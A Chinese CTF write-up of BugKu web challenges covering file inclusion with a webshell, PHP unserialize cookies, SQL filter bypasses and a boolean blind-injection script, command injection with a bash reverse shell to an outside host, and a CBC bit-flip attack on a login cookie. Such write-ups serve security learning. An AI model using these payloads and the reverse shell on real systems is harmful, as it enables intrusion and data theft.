BugKu-WEB-3

2022-03-22 10:04:45 浏览数 (1)

这里是Bugku的CTF题目(主流情况下我一般都只会玩攻防世界的,难度稍微大一些,我之前的笔记分类有详细分成基础篇和高手篇写了writeup,感兴趣的可以去看看) 所用环境以及做题思路只在当时写下writeup时适用,若之后做出改动可与我联系,做出相应更改。 作者:李世荣 转载请标明出处。 37.web34

题目提示:文件包含

index.php?file=hello.php 那我们的重心就在上面,这个payload怎么写。

这里有文件包含与文件上传两个漏洞的话,岂不是可以直接上传图片马然后解析?

先写好上传,但是发现好像不太行,那我们换一个一句话

成功绕过,菜刀连接

flag在根目录下面,直接设置pyload:index.php?file=/flag 38.web35

描述:点了login咋没反应

尝试输入账号密码,点击login却什么反应也没有,查看源码也什么没有,那么我们就尝试一下发起一次请求,看看响应是什么吧。

在admin.css里发现了端倪,这个try ?23897是什么,试着传参了一下,看到了代码,看来思路是对的。

查阅代码,unserialize映入眼帘。这就是反序列化函数,说明这题考的是无类的php反序列化。(问:有类是什么样子? 答:代码中存在class)unserialize(cookie) === “KEY” 两边序列化即有cookie = serialize("

接下来我们编写个序列化脚本

用Burp Suite工具抓包发送给Repeater在Requests Headers里添加cookie=BUGKU=s:13:"ctf.bugku.com";

39.web36

题目提示:!,!=,=, ,-,^,% 全部都过滤了绝望吗。

习惯性的扫描了一下后台,发现了/index.php和/login.php,分别访问了一下,最后停在了/index.php,是一个登陆界面。 进去是个登录界面,稍微按了按导航栏没什么用,猜测是注入! 输入用户admin密码任意,显示password错误 输入用户admin'密码任意,显示username错误 输入用户admin'#密码任意,发现给检测到入侵,那#用不了,试了试-和 也被过滤了 直接上盲注脚本吧。

别说,还挺壮观的,将得到密文反复解密,看看最终能得到什么。(这波忙猜是md5)

账号:admin 密码:bugkuctf登陆,得到了下面的界面

来到一个web的命令执行界面,使用ls看到网站目录下并没有flag 使用ls /发现给检测到,试试单输入空格,发现空格给过滤,在linux里面有很多方式可以代替空格

cat{IFS}flag.txtcatIFS9flag.txtcat<flag.txtcat<>flag.txt尝试输入cat{IFS}/flag发现也给检测了,测试后才知道IFS字样也给过滤了,那我们用cat</flag,就能成功拿到flag。

40.web37

提示:hint:union,命令执行 描述: 命令执行

这道题目直接给了一个登陆界面,猜测有注入漏洞,先输入123,,123抓包看看

用repeater发送后看到有个tip 是一串base64加密的字符,解密后明文:

审计后发现可以构造一个不存在的用户进行登录,查询的密码要和md5加密后的一致,构造payload: username=admin' union select 1,md5(123)#&password=123

登录成功后看到一个命令执行界面,尝试ls

第一种解法:输入123,回显如下:

尝试用”|”来绕过 输入:123|ls没有回显 采用写入文件二次返回的方法查看结果 123|ls ../../../>test 但是依然没有回显

回到起点,输入1试试看:

可以看到在最下面有grep命令,再想到hint的命令执行,故可以直接来查询flag,一步步尝试: 先输入ls 可以看到并没有执行命令,那应该是后台进行了过滤,或者有什么符号进行了合并,上面我们用|进行绕过:输入1|ls发现也是不行的。 但是应该是绕过了检测的,就试试像sql二次注入的方式:二次写文件读取: 1|ls ../../../../>res 将根目录下的文件写入到res文件中 访问res即可得到flag

大佬的wp,学到了另一种方法:即反弹shell的方式: 前提是得有外网ip,大家可以去试试,一个月的公网ip也不是特别贵,我这里已经有了,所以就直接演示了: 我外网ip映射到本地的端口为80,所以在kali里打开监听这个80端口: nc -lvp 80

然后再构造bash交互,我这里是: 1|bash -i >& /dev/tcp/03a1ea6816d56464.natapp.cc/5200 0>&1 然后就点击检测按钮 可以看到上面的是一直在转圈,这时我们去kali里看看监听的结果

可以看到,已经监听成功,最后直接cat /flag即可拿到flag了

41.web38

提  示: 基于布尔的SQL盲注 描  述: sql注入

根据提示,布尔盲注。 但测试后发现and被过滤,只能使用异或^ 空格也被过滤 逗号被过滤,使用mid((password)from(1)for(1))代替mid((password),1,1) 等号被过滤,使用不等号<> for被过滤,使用ascii取字符串第一个字符转换为ascii码 构造如下 username=admin'^(ascii(mid((password)from(1)))<>ascii('b'))#&password=123 sql语句中在运算时会将字符串转换为0, 注入后,sql语句变为 where username=‘admin'^(ascii(mid((password)from(1)))<>ascii('b'))# 当后面语句为真时,0^1=1,语句相当于 where username=1,因为username全为字符串,不可能等于1,所以会查找失败,显示username no exist 当后面语句为假时,0^0=0,语句相当于 where username=0,因为username都为字符串,比较会恒成立,所以会查找成功,显示password error 使用burpsuite的intruder功能爆破

可能是字典设置的不合适,爆破了许久都没有出结果,尝试换一个思路。 用Burp Suite抓包一下。发送到Repeater

随便输入一些字符串,测试一下回显。 我们可以发现 当我们随便输入一个用户名“lsr”时, 回显用户名不存在,但并没有对密码进行检验。 当我们输入用户名“admin”时,回显密码错误,则说明 是先查找匹配用户名,如果存在,再验证密码。 试试在用户名admin后加上单引号 结果还是显示用户名不存在,但是并没有报错信息........... 那么,我们猜测后台的验证应该是先查找输入的用户名是否存在 语句大体是这样 select password,username from users where username="我们输入的用户名" 如果我们在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立,这个语句就可以补成: where username=’admin’ and (substring(database(),1,1)=’a’) 如果返回值是password error,那么就说明where语句是成立的,那么我们补充的那就也是成立的,那么就可以确定数据库的第一位是a,然后再猜测第二位。 显示非法字符....... 可能是过滤了and.... 继续测试发现....还过滤了空格,逗号,等号,for 空格用括号代替,等号用<>(一种不等号)代替 最后发现了异或运算^ 先说一下异或运算的基本规则: 1^1=0 1^0=1 0^0=0 即 只有两个不同的布尔值运算结果为1 先给出脚本

开始跑脚本:

跑出来像是md5,解密一下,是:bugkuctf 用户名:admin 密码:bugkuctf

注: 解释一下payload:

代码语言:javascript复制
"admin'^(ascii(mid(database()from({})))<>{})^0#"

1.为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就可以。 2.mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢? 因此,这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。 3.每个字符的ascii码判断,是否不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。 如果数据库名的第一位的ascii码值不是97,where条件是username=’admin’^1^0 返回值是username does not exist! 如果数据库名的第一位的ascii码值是97,where条件是username=’admin’^0^0 返回值会是password error! 这就构成了布尔报错注入。

  1. 最后^0的妙用! 因为’admin’^0^0和’admin’^1^1是一样的,我们可以构造后者来看前者成立时的情况。 因为这里即使是语法错误也不会报错,有可能你输入的语句就不可能成立,但你也无法知道。 另一份大佬的writeup:

1 fuzz 可以看到过滤了空格和* union等但是(没过滤bool注入

代码语言:javascript复制
[‘select’, ‘concat’, ‘show’, ‘databases’, ‘tables’, ‘flag’, ‘or’, ‘sleep’, ‘from’, ‘limit’, ‘group’, ‘by’, ‘prepare’, ‘as’, ‘if’, ‘char’, ‘ascii’, ‘mid’, ‘left’, ‘right’, ‘substring’, ‘updatexml’, ‘extractvalue’, ‘benchmark’, ‘insert’, ‘update’, ‘all’, ‘@’, ‘#’, ‘^’, ‘&’, “’”, ‘"’, ‘~’, ‘(’, ‘)’, ‘–’, ‘>’, ‘<’, ‘if’, ‘/’, ‘’]

2 payload username='or(1)#&password= 返回password error,证明存在bool注入

3 exp

代码语言:javascript复制
import requests
ans = ''
for i in range(33):
代码语言:javascript复制
for j in '0123456789abcdefghijklmnopqrstuvwxyz':
    data={
        # 'username':"'or(1)#",
代码语言:javascript复制
        # 'username':"'or(ascii(substr((select(database()))from({})))<>({}))#".format(i,ord(j)),
        'username':"'or(ascii(substr((select(password))from({})))<>({}))#".format(i,ord(j)),
        'password':'123'
    }
    res = requests.post('http://114.67.246.176:18085/index.php',data)
    # print(res.text)
    if 'username does not exist!' in res.text:
        ans =j
        print(ans)

小技巧: substr(user(),1,1) 等价于 substr(user() from 1 for 1) 可以绕过逗号

=号被过滤用<>不等号 Info也被过滤了不能用Information_schema了

4 爆库

代码语言:javascript复制
'username':"'or(ascii(substr((database())from({})))<>({}))#".format(i,ord(j)),
'or(ascii(substr((select(password)from(admin))from({})))<>({}))#

42.web39

提  示: CBC字节翻转攻击 描  述: flag{}

打开环境,发现又是一个登陆界面,那我们就看看题目提示。 来一波日常目录扫描 Dirmap一共扫到了四个网站。 我们用cansina也试试看

下载该文件,使用vim -r .index.php.swp打开审计源码。已经手动在代码里添加了注释

代码语言:javascript复制
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){    //随机生成16位初始化向量
代码语言:javascript复制
$random_iv='';
for($i=0;$i<16;$i  ){
    $random_iv.=chr(rand(1,255));
}
return $random_iv;
代码语言:javascript复制
}

第一个执行的方法

代码语言:javascript复制
function login($info){
代码语言:javascript复制
$iv = get_random_iv();
$plain = serialize($info);    //明文序列化
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);    //加密
//options:以下标记的按位或: OPENSSL_RAW_DATA 原生数据,对应数字1,不进行 base64 编码。OPENSSL_ZERO_PADDING 数据进行 base64 编码再返回,对应数字0。
$_SESSION['username'] = $info['username'];    //注册SESSION全局变量
//以下两行设置cookie
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
代码语言:javascript复制
}
function check_login(){
代码语言:javascript复制
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
    $cipher = base64_decode($_COOKIE['cipher']);
    $iv = base64_decode($_COOKIE["iv"]);
    if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
        $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
        $_SESSION['username'] = $info['username'];
    }else{
        die("ERROR!");
    }
}
代码语言:javascript复制
}

第二个执行,检测用户名为admin时,打印flag

代码语言:javascript复制
function show_homepage(){
代码语言:javascript复制
if ($_SESSION["username"]==='admin'){
    echo '<p>Hello admin</p>';
    echo '<p>Flag is $flag</p>';
}else{
    echo '<p>hello '.$_SESSION['username'].'</p>';
    echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
代码语言:javascript复制
}
代码语言:javascript复制
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
    exit('<p>admin are not allowed to login</p>');
}else{
    $info = array('username'=>$username,'password'=>$password);
    login($info);
    show_homepage();
}
代码语言:javascript复制
}else{
代码语言:javascript复制
if(isset($_SESSION["username"])){
    check_login();
    show_homepage();
}else{
    echo '<body class="login-body">
            <div id="wrapper">
                <div class="user-icon"></div>
                <div class="pass-icon"></div>
                <form name="login-form" class="login-form" action="" method="post">
                    <div class="header">
                    <h1>Login Form</h1>
                    <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
                    </div>
                    <div class="content">
                    <input name="username" type="text" class="input username" value="Username" onfocus="this.value=''" />
                    <input name="password" type="password" class="input password" value="Password" onfocus="this.value=''" />
                    </div>

源码审计

审计源码首先要找到程序起点,跟着程序走一遍,了解流程。程序起点在这个if里:

我们以else为分割符,先看上面一段的代码。程序接收到POST参数(username,password),并且禁止admin登陆。当用户名不是admin的时候,首先把用户名密码放入数组,传到login方法中。login方法对传入的数组进行了序列化,并且使用aes-128-cbc对序列化进行加密。iv(初始化向量)是随机生成的。最终把cipher和iv放入cookie。

再到show_homepage()方法,检测_SESSION中的username是admin时,打印flag。否则提示Only admin can see flag

然后审计else的下半部分,这里是上半部分操作执行过后,存在_SESSION[‘username’]时执行。当不存在POST数据或者_SESSION[‘username’]时,显示登陆页面。有_SESSION[‘username’]时,进入check_login()方法。当cookie中存在cipher、iv时,对cipher进行解密。这里是解题的关键,可以通过修改cookie中的cipher值,将序列化数据的用户名修改成admin。从而绕过程序起点处禁止admin登陆的判断。

最后执行到show_homepage()方法,当我们在check_login()中把用户名修改为admin时,这里输出flag。

解题:

访问题目页面,使用用户名admil,密码123登陆。页面提示内容与审计的结果一致。此时程序已经执行了login()方法,在cookie中写入了cipher和iv。

使用burp抓包,刷新页面,内容如下:

通过上面审计源码可知,需要把post数据删掉,才能进入check_login()方法判断当前用户名。

通过最开始列出的“CBC字节翻转攻击原理”文章,这里需要修改cipher和iv的值来实现变更用户名。基本原理(强塞内容):

代码语言:javascript复制
这里讲下为什么能把admil修改成admin
根据上图,我们可以知道CBC解密过程:


密文1=>解密密文1=>解密密文1 XOR 初始化向量(iv) = 明文1
密文2=>解密密文2=>解密密文2 XOR 密文1 = 明文2
密文3=>解密密文3=>解密密文3 XOR 密文2 = 明文3
以此类推,除了第一次,后面所以数据解密后都需要跟上一个密文进行异或得到明文。
从上面的解密过程可以推断出,当我们修改前一个密文的第N个字节时,会影响到后一个密文解密出来的明文的第N个字节。
例如:当我们修改密文1的第6个字节时,密文2解密时,解密后的密文2跟密文1进行异或操作,明文2的第6个字节也会受到影响。
异或特性:
解密得出明文的步骤使用了异或运算,而异或运算有个特性,是可以自定义异或结果的。
这里的讲解借用到大佬文章的讲解思路。
假设:A ^ B = C,则可得
B = A ^ C
当人为修改A=A ^ C时,
A ^ B = A ^ C ^ B = B ^ B = 0
当人为修改A=A ^ C ^ x (x为任意数值)时,
A ^ B = A ^ C ^ x ^ B = B ^ B ^ x = x
举例:
密文1[4]的意思是密文1字符串第4个字节,相当于数组下标。
设:密文1[4] = A,解密(密文2)[4] = B,明文2[4] = C
因为A ^ B = C,根据结论有B = A ^ C
当人为修改A=A ^ C时,那么A ^ B = A ^ C ^ B = B ^ B = 0,这样明文2[4]的结果就为0了
当人为修改A=A ^ C ^ x (x为任意数值)时,那么
A ^ B = A ^ C ^ x ^ B = B ^ B ^ x = x,这是明文2[4] = x,这样就达到了控制明文某个字节的目的了。
编程:
根据上面的推论,就可以开始写程序修改cipher和iv来控制用户名了。

执行结果:

当我们在Burp Suite将计算后的cipher替换发送后,发现提示错误。

这是因为我们修改了密文1中的数据,使第一次解密出的明文数据错乱,打乱了序列化数据的格式,反序列化失败。

但是当我们把返回的base64数据解码后,可以发现我们的username已经修改成admin了。

...

之间出现了很多次错,没能实现,现在又开了一个环境,重新来一遍。

...

v的值是随机变化的,即使同一个用户名,多次发送POST数据,也会改变iv,所以提交一次POST后就一次完成,否则就从头再来序列化内容分组,16个一组a:2:{s:8:"username";s:5:"ddmin";s:8:"password";s:3:"123”;}我们想要改的d->a在第二组的9位(从0开始),那我们要改第一组的第9位。

  • / = 要url编码(+、/、= (enc只要/之前的其实就够

0 人点赞